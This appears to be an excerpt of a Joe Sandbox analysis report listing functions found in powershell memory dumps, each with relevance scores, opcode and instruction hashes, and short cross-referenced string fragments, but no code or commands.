Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12aaa43b45369e819af3f3b168a4ffb92661724a15653d272741d06b3cd305fb
Instruction ID: 35b20b0aff19422eb6563e92589eb69a0c2fb3f1c11aaf64c6dcaf25e649b04c
Opcode Fuzzy Hash: 12aaa43b45369e819af3f3b168a4ffb92661724a15653d272741d06b3cd305fb
Instruction Fuzzy Hash: D311D774A00209EFDB45CFA4D894E9DBFB2BF49214F28C154E814AB361C775E982CF90

Function 0343D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1934301619.000000000343D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0343D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_343d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5fb89621d51aaee08dee660813816a6c5552b10737834c089602c62eb99101a
Instruction ID: faa21d57d66cdfc14a472babcded400e274f6103957db589cfcee073f34ec982
Opcode Fuzzy Hash: a5fb89621d51aaee08dee660813816a6c5552b10737834c089602c62eb99101a
Instruction Fuzzy Hash: C0012D6244E3C09ED7128B258894B52BFB8DF47624F1D81DBD8888F2A3C2695849C772

Function 0343D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1934301619.000000000343D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0343D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_343d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ebba7ec0c11fcd86ab2d2fa8784df7b530a8f66757d646f16cea5ec4dd722a
Instruction ID: 5e2e5c5157eb84eceac3eee0f933332553ffd8359812ec80927255105487618f
Opcode Fuzzy Hash: c3ebba7ec0c11fcd86ab2d2fa8784df7b530a8f66757d646f16cea5ec4dd722a
Instruction Fuzzy Hash: A101FC319043009AE7208A11CC847A7FFA8DF47629F18C15BDC541F242C6799846CBB9

Function 07A5A9D8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf2178bc6e59fb2b427bee42a70c1ef0d0495f7a14cfcecfb5469f4ce6aa5ac
Instruction ID: f56e9e2cf99e0c08e38a13c8e572afdabc2fcf11ac5149bcc402ae30bd6c6beb
Opcode Fuzzy Hash: 0cf2178bc6e59fb2b427bee42a70c1ef0d0495f7a14cfcecfb5469f4ce6aa5ac
Instruction Fuzzy Hash: 4EF0823630011CCBCB105B58F8055E97BE9EB896767404257F90AC3A41CB7A5942C7D5

Function 07A55E1B Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c9621ae982eea37f8d1726b353a7e8f6af88552ae2eb1195d9d122177579d2
Instruction ID: 8b1940393fa649b9b78619fb99d62cc1e7306eb5ed2808352cf4aaf0ab175d55
Opcode Fuzzy Hash: 68c9621ae982eea37f8d1726b353a7e8f6af88552ae2eb1195d9d122177579d2
Instruction Fuzzy Hash: 12F02E772142995FC3124B58EC049EA7FEE9BC56127084097F954CB241CA744C12C7F1

Function 07A568C0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd1d8a55b7edcfb7560ff185d53339fc3de9c3ec5eb94248d9e035ff9002743
Instruction ID: 81d5ea4d1a72d99861b1c69d9a209df550bd56608a7bc25e96ca231d99cf60af
Opcode Fuzzy Hash: 2bd1d8a55b7edcfb7560ff185d53339fc3de9c3ec5eb94248d9e035ff9002743
Instruction Fuzzy Hash: 2DF065376297855BC72186AAEC544D2FFAAFEC762036547A7F004C7D22DB5098C182A2

Function 07CF3A64 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3156e60cac22f0922ae44126fff2b3ba2602ae49bfbb78e3d1e4230ba98ed174
Instruction ID: bd06bb7fc7426daedac5fa3ce8935ac55ee5631695b7627f034ce51c9fbf9dc9
Opcode Fuzzy Hash: 3156e60cac22f0922ae44126fff2b3ba2602ae49bfbb78e3d1e4230ba98ed174
Instruction Fuzzy Hash: 4CF02B712057D15FC7327BB86C2419A7F71AF43530310078AE1A0CF6E3C765590487D2

Function 07A55E43 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c1ca7f91cc5d582c02a298c94ad7fefa7290834d13f6b83428c44d7bdc1c78
Instruction ID: 7f82f9b7963fef79fe2a74c7375825079b060643a356c57ce0d8855f1e883fa5
Opcode Fuzzy Hash: 05c1ca7f91cc5d582c02a298c94ad7fefa7290834d13f6b83428c44d7bdc1c78
Instruction Fuzzy Hash: B4E0E5772052585FC7020B98EC006EB7FABDBC572175881A7F814C7141CA758D1693F2

Function 04E76BDA Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1936618500.0000000004E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b6d8598926ece21f80c1675851f8c1086ea3457af82a576acdcdaad77a643e7
Instruction ID: c39910718581532ddb7b7bc7dd972a0cf0b7df5d726a38333b7875ec5159f863
Opcode Fuzzy Hash: 1b6d8598926ece21f80c1675851f8c1086ea3457af82a576acdcdaad77a643e7
Instruction Fuzzy Hash: E7011974E0420ACFCB80DF68C4859A97FF0FF09214F2001A9D509EB722D631A945CB81

Function 07A5BFB9 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9609ab7f67bf6fbf120242c78b65e5ab3ad6a5ce284f7f4200a275e2e474c64
Instruction ID: 58325963ce53d9582319209815e12f551bc9b664278e0d218ce67206bd627959
Opcode Fuzzy Hash: b9609ab7f67bf6fbf120242c78b65e5ab3ad6a5ce284f7f4200a275e2e474c64
Instruction Fuzzy Hash: CBF039B8D0520EABCB58DFA8A9021EEFBF4AE08210F10856FD819E2700E63446408FD5

Function 07A5ACC8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7774cdd5be3e5e1e0f22231ca3ae03f804256de7c436773b52dfc19d23fd93ff
Instruction ID: fb20032fc259e9f67ae11658aab765a8c183cc057ce7870c83dd33fb6c6c264b
Opcode Fuzzy Hash: 7774cdd5be3e5e1e0f22231ca3ae03f804256de7c436773b52dfc19d23fd93ff
Instruction Fuzzy Hash: 16E0D8326152481FD7114269BC048D7FFACDE8352430641E7E504C7153C611985483E1

Function 07A5A911 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071a6b2b2e0a45fa51b816ac07fc3a64630f7c0e508b1b4e61f83a01eb71973f
Instruction ID: 6487bac94264dd20b7b9c0ee9845928a0d9cf0fe8acbe75bf0a663769b4ff6c3
Opcode Fuzzy Hash: 071a6b2b2e0a45fa51b816ac07fc3a64630f7c0e508b1b4e61f83a01eb71973f
Instruction Fuzzy Hash: C4F06736D106489FCB04DFA8D8408ECBB76FF95310F558129E94437220EB30AA8ACBA1

Function 07A5AB08 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a0182337e9b82ec5350b8122081c0b22095c2898a70c604fbf1cc5e389e990
Instruction ID: a7c9c3e144cde29255bd8dcd4fd3c92d09ec1b3dff8821d7935bc68887955ea7
Opcode Fuzzy Hash: 53a0182337e9b82ec5350b8122081c0b22095c2898a70c604fbf1cc5e389e990
Instruction Fuzzy Hash: 3EF02774A0838CAFCB01DBB098106AE7FB4AF41100F1441FBC840CB285D9348E05D7A1

Function 07A5AAF8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 301842022b72a8df74d3fc4cd34f614ae6759793fc4d358a5d236adb5421fc43
Instruction ID: 8bbae8c1ffa1208b8b524f5c228eb09ffd6bbd3b9922db5a0991563602dffd33
Opcode Fuzzy Hash: 301842022b72a8df74d3fc4cd34f614ae6759793fc4d358a5d236adb5421fc43
Instruction Fuzzy Hash: 62E0207610524D5FC721D6B06D015F67FB86F01100B0483F7E840C2443D4348B4497F1

Function 04E76BE8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1936618500.0000000004E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15adce24ef5ebee1cbe981e2415beecb4771c08f05b1904b517081f275c06029
Instruction ID: 7bfc1fdb9d1e9713b1a292cd3c2ab58d03abb6fd0aa312989b8111afca95946c
Opcode Fuzzy Hash: 15adce24ef5ebee1cbe981e2415beecb4771c08f05b1904b517081f275c06029
Instruction Fuzzy Hash: C3F0A974E0020A8FC780DF68C485AAEBBF0FF49214F5051A9D509DB321E730A945CB91

Function 07A5A9E0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92c8901a61b96f648241d9c95809af1cfc39437f3d36afb7715fa1679c560a5f
Instruction ID: 8541dedb14cbec4ffa4633a74ec2a77b6e38c57ed9e4d77057354481165fb098
Opcode Fuzzy Hash: 92c8901a61b96f648241d9c95809af1cfc39437f3d36afb7715fa1679c560a5f
Instruction Fuzzy Hash: 11E0ED32300128CBCB145B58F4054AD7BE9EBC86667044256F50EC2A40CB79595287D5

Function 07CF3A80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcf6c7d1634786ad8288860ed7d708e143f8632706c1159dedf7a10b5ac5a43b
Instruction ID: 53898723d72a018581eeb0e918445725113303e615b55ca83db9957946a8a8a7
Opcode Fuzzy Hash: dcf6c7d1634786ad8288860ed7d708e143f8632706c1159dedf7a10b5ac5a43b
Instruction Fuzzy Hash: 1FE09270200B645FC9307FB9A80419A7E79AB42A74720471CE2A14FBD4CB62A80147D1

Function 07A5BF88 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ec31cdf93cdb6f9adecd104394f9202e4cb54f795e932c8d2b163288e5a4a9
Instruction ID: 98ec36571e20aac91ea7261c38628605fbdd26b8a896cf0271c9235950c1a964
Opcode Fuzzy Hash: d1ec31cdf93cdb6f9adecd104394f9202e4cb54f795e932c8d2b163288e5a4a9
Instruction Fuzzy Hash: E0D0A7B700E78B9FD31757A069083D4BF79AF07211F1841C3D41885153D7B8489CCBA2

Function 07A5BFC8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58bd2f90fe0dd29d7bff71d410b1c150f42e3aecf780e0c079f5a55b471074ce
Instruction ID: 60d80ee8810b9fb321ae07d0893c81d4106314ab3c51c83ed49a08d9a0aca13c
Opcode Fuzzy Hash: 58bd2f90fe0dd29d7bff71d410b1c150f42e3aecf780e0c079f5a55b471074ce
Instruction Fuzzy Hash: F7E0B6B4D1420E9F8F48DFB994421BEFBF4AB48200F00856F9829E3300E63446018F95

Non-executed Functions

Function 07CF11E0 Relevance: 16.6, Strings: 13, Instructions: 332COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF14A8
$q, xrefs: 07CF14C9
#l, xrefs: 07CF139F
4'q, xrefs: 07CF150C
4cq, xrefs: 07CF12E4
4'q, xrefs: 07CF1323
4'q, xrefs: 07CF1627
4cq, xrefs: 07CF12EE
4'q, xrefs: 07CF1317
4'q, xrefs: 07CF1500
4'q, xrefs: 07CF161B
#l, xrefs: 07CF13AD
4cq, xrefs: 07CF1236

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$4cq$4cq$4cq$$q$$q$#l$#l
API String ID: 0-2192162474
Opcode ID: 2320bee9e6e11aa6baa0acdaa49d29b4a618d9e9ca0d6467247daec1feb23b90
Instruction ID: 2286cbd3dfc867b12b4b114c3aa55301ad2c2488664413583d18b88246151e50
Opcode Fuzzy Hash: 2320bee9e6e11aa6baa0acdaa49d29b4a618d9e9ca0d6467247daec1feb23b90
Instruction Fuzzy Hash: 8DB14BF1B0434EDFDB65CB69D4806AABBF2EF85210F1C806AEA05CB251DB31DA45C761

Function 07CF4210 Relevance: 14.0, Strings: 11, Instructions: 227COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF4228
$q, xrefs: 07CF427F
$q, xrefs: 07CF43EF
tPq, xrefs: 07CF42D0
$q, xrefs: 07CF4445
$q, xrefs: 07CF426C
$q, xrefs: 07CF4451
$q, xrefs: 07CF4260
tPq, xrefs: 07CF42C4
$q, xrefs: 07CF428B
$q, xrefs: 07CF4244

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq$$q$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-4054773247
Opcode ID: 3e87932d9eb7005717fd1cdd1b257cf8c334b8020fb8ef62b5cfcad9ca855411
Instruction ID: ed834f95710734bd065590c401d9bd6a6de0eca178be99d25a3c46bf36dac8c1
Opcode Fuzzy Hash: 3e87932d9eb7005717fd1cdd1b257cf8c334b8020fb8ef62b5cfcad9ca855411
Instruction Fuzzy Hash: 0D614AB6B002968FD76C5A6AA84066BFBB1EFC5211F29807BDF05DB241CA31DB05C391

Function 07CF2BF0 Relevance: 11.5, Strings: 9, Instructions: 277COMMON

Download Yara Rule

Strings

#l, xrefs: 07CF2EED
4'q, xrefs: 07CF2D25
#l, xrefs: 07CF2EDF
tPq, xrefs: 07CF2E81
4'q, xrefs: 07CF2D2F
$q, xrefs: 07CF2E30
tPq, xrefs: 07CF2E75
$q, xrefs: 07CF2E0A
$q, xrefs: 07CF2E3C

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q$#l$#l
API String ID: 0-4213302400
Opcode ID: b32540f149157d76ceddfb3b04089e9da2230eca4ce24159ad647f9574057828
Instruction ID: 01be97f8b1ac1e1d7ad9ccc1d0ac4a64e2393f7255431fe2f70f73c8c34290a9
Opcode Fuzzy Hash: b32540f149157d76ceddfb3b04089e9da2230eca4ce24159ad647f9574057828
Instruction Fuzzy Hash: EE9159B2B043168FD7648B6994507AEBBA2FFC5211F29806BEA45CF391CB31DD45C3A1

Function 07CF1BF0 Relevance: 9.0, Strings: 7, Instructions: 277COMMON

Download Yara Rule

Strings

tPq, xrefs: 07CF1DF1
#l, xrefs: 07CF1E5D
$q, xrefs: 07CF1D7A
$q, xrefs: 07CF1DA0
#l, xrefs: 07CF1E4F
$q, xrefs: 07CF1DAC
tPq, xrefs: 07CF1DE5

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq$$q$$q$$q$#l$#l
API String ID: 0-258289296
Opcode ID: 52434c3bc560f6be359465f8f7958dc0dfe728c439ea0718ec3d508004644f53
Instruction ID: 52fe7d033fce8e68b22aa0390d825094cdb191172378063af79887f128129191
Opcode Fuzzy Hash: 52434c3bc560f6be359465f8f7958dc0dfe728c439ea0718ec3d508004644f53
Instruction Fuzzy Hash: D99137B170435ACFD7658B6A94506AAFBB2EFCA210F1C806FDA45CB351CA31CD01C7A1

Function 07CF59A8 Relevance: 9.0, Strings: 7, Instructions: 266COMMON

Download Yara Rule

Strings

P-l, xrefs: 07CF5C28
4'q, xrefs: 07CF5C5F
P-l, xrefs: 07CF5B5E
4'q, xrefs: 07CF5C69
P-l, xrefs: 07CF5C1C
4'q, xrefs: 07CF5A46
4'q, xrefs: 07CF5A3A

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$P-l$P-l$P-l
API String ID: 0-3516800952
Opcode ID: 47cdc9d90455583f815b1503ece34041f0e21ddeeef65770ded6cf8f73aa895f
Instruction ID: c077224b7273bb37ada522fee50b16c9a0734792084394b6770fb62e19b85f6f
Opcode Fuzzy Hash: 47cdc9d90455583f815b1503ece34041f0e21ddeeef65770ded6cf8f73aa895f
Instruction Fuzzy Hash: A7914BB1B003068FC7648F75A49076ABBA2AFD9211F14C07ADB47CF241DB31DA62C7A1

Function 07CF86E0 Relevance: 8.9, Strings: 7, Instructions: 186COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF8892
$q, xrefs: 07CF8867
4'q, xrefs: 07CF878A
4'q, xrefs: 07CF8796
$q, xrefs: 07CF889E
#l, xrefs: 07CF88D5
#l, xrefs: 07CF88E3

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q$#l$#l
API String ID: 0-2602310233
Opcode ID: af7710a2e327d1a0870859101b3c2aa855457a89f068c2a044103eea047c476f
Instruction ID: ab08b74a6a7c228f7ab268f0917d377c5a29534c8164ee1355b99dfcd944eda6
Opcode Fuzzy Hash: af7710a2e327d1a0870859101b3c2aa855457a89f068c2a044103eea047c476f
Instruction Fuzzy Hash: DD515CB1B04306DFDB745B6A8801767BBE2AFC5311F14807BEA45CB291DB35D982C791

Function 07CF4390 Relevance: 7.7, Strings: 6, Instructions: 223COMMON

Download Yara Rule

Strings

4'q, xrefs: 07CF4660
r-l, xrefs: 07CF45BE
$q, xrefs: 07CF43EF
$q, xrefs: 07CF4445
4'q, xrefs: 07CF4654
r-l, xrefs: 07CF45C8

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$r-l$r-l
API String ID: 0-3863284343
Opcode ID: 627a085ba04ed2d26076f003af5885fa0eb6a9753e55596bb576a17b5cfec7d7
Instruction ID: 758a4261e2e6eb9e5420c439b91af7584e35733d1a4638a42084419aeb05467b
Opcode Fuzzy Hash: 627a085ba04ed2d26076f003af5885fa0eb6a9753e55596bb576a17b5cfec7d7
Instruction Fuzzy Hash: 33715AF5B04385CFCB68DB69C4406ABBBF1AF86210F19806BDA05CB251DB31DB45C791

Function 07CF51B0 Relevance: 7.7, Strings: 6, Instructions: 172COMMON

Download Yara Rule

Strings

Xb+l, xrefs: 07CF5243
$q, xrefs: 07CF52F7
tPq, xrefs: 07CF529F
$q, xrefs: 07CF525C
tPq, xrefs: 07CF5293
Xb+l, xrefs: 07CF5237

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: Xb+l$Xb+l$tPq$tPq$$q$$q
API String ID: 0-683797084
Opcode ID: 0f4ed3b2382884e77ff800f9623ac2fb8d156bef219c3aaceeb2ac34a81b12df
Instruction ID: 5ba35805afbb7dfb293e2931caa412aa181ed1e0da55b7583392fe3f6acf2d74
Opcode Fuzzy Hash: 0f4ed3b2382884e77ff800f9623ac2fb8d156bef219c3aaceeb2ac34a81b12df
Instruction Fuzzy Hash: 97510575B002059FD7248B59A8507AEFBE2EFC9311F18C16AEE05AF341CA71EE15C791

Function 07CF0E60 Relevance: 6.4, Strings: 5, Instructions: 135COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF0EB7
$q, xrefs: 07CF0EE5
4'q, xrefs: 07CF0F0F
4'q, xrefs: 07CF0F1B
$q, xrefs: 07CF0EF1

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q
API String ID: 0-170447905
Opcode ID: a3217b378713c12f70e7e391037be1f699425e591cb63e6f9fd3d83f76895468
Instruction ID: 10995a8aed683e666d06760ea9a35754b0ec43315604b08fb897694e4d703a90
Opcode Fuzzy Hash: a3217b378713c12f70e7e391037be1f699425e591cb63e6f9fd3d83f76895468
Instruction Fuzzy Hash: B4312B71B0434ECFDB658B66D48036AFBB1EF85A11F14806BDA45C7253DB31C985C7A2

Function 07CF41FF Relevance: 6.3, Strings: 5, Instructions: 85COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF4228
$q, xrefs: 07CF427F
$q, xrefs: 07CF4260
tPq, xrefs: 07CF42C4
$q, xrefs: 07CF4244

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: tPq$$q$$q$$q$$q
API String ID: 0-3665043458
Opcode ID: 09112fb1e94bb33a32eda64e372a9e2f83cc42bd2fb7916a7d401827e7c2a04c
Instruction ID: dee19dfd2617be2967269d118494236db3e7a9fe4d20a25a8420a56778bb96cc
Opcode Fuzzy Hash: 09112fb1e94bb33a32eda64e372a9e2f83cc42bd2fb7916a7d401827e7c2a04c
Instruction Fuzzy Hash: 8D210AB6600396CFDB688E55DC80A7BBBB4EF86650F1A417AEE009B252C731DF04C761

Function 07CF37A8 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

tPq, xrefs: 07CF383A
84+l, xrefs: 07CF37DF
84+l, xrefs: 07CF37D3
tPq, xrefs: 07CF382E

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 84+l$84+l$tPq$tPq
API String ID: 0-3085347473
Opcode ID: 01302536971d172a34bfeb6d50c494d17b5202b448120d5163fbd07d10f4c3da
Instruction ID: ccca2e2a71830b7b6422771aec2480d5fc80521ea12389502ae7f3148a97a7e9
Opcode Fuzzy Hash: 01302536971d172a34bfeb6d50c494d17b5202b448120d5163fbd07d10f4c3da
Instruction Fuzzy Hash: CF5190B1B04385AFD7205B65984575AFFB2EF85710F2880ABEE449F381CA35DD05C3A1

Function 07CF9470 Relevance: 5.1, Strings: 4, Instructions: 132COMMON

Download Yara Rule

Strings

XY-l, xrefs: 07CF9537
XY-l, xrefs: 07CF952B
4'q, xrefs: 07CF955D
4'q, xrefs: 07CF9551

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$XY-l$XY-l
API String ID: 0-2624649085
Opcode ID: 200300f6d521d3474e31e80a53ca4b52f2189d030085b80f9dcb1cca3edac53d
Instruction ID: fdd5e5ac67db0163c669acfd257b697a13673f3a81de1f92a7a8cba047923c33
Opcode Fuzzy Hash: 200300f6d521d3474e31e80a53ca4b52f2189d030085b80f9dcb1cca3edac53d
Instruction Fuzzy Hash: 29410AF1B0020A8FCF54DB69D4847AAFBA2EFD5215F14C176DA06CB251DB31EA02C7A1

Function 07CF11CF Relevance: 5.1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

Strings

4cq, xrefs: 07CF12EE
4'q, xrefs: 07CF1317
4cq, xrefs: 07CF12E4
4cq, xrefs: 07CF1236

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4cq$4cq$4cq
API String ID: 0-3230013453
Opcode ID: db670f2dc25529f3720e96369b25ce73166243733fef9f9f88c29399a327a549
Instruction ID: 6b3c9b1a2eece7f07b91878c42ad867487c8836cd21e51d44e62d92640eda7e9
Opcode Fuzzy Hash: db670f2dc25529f3720e96369b25ce73166243733fef9f9f88c29399a327a549
Instruction Fuzzy Hash: 3E3137F1A0034EDFDB60CB69D8C0B6677E2AF86210F1C8169EA04CB611C731DA45C751

Function 07CFA530 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 07CFA55E
$q, xrefs: 07CFA58C
$q, xrefs: 07CFA598
$q, xrefs: 07CFA542

Memory Dump Source

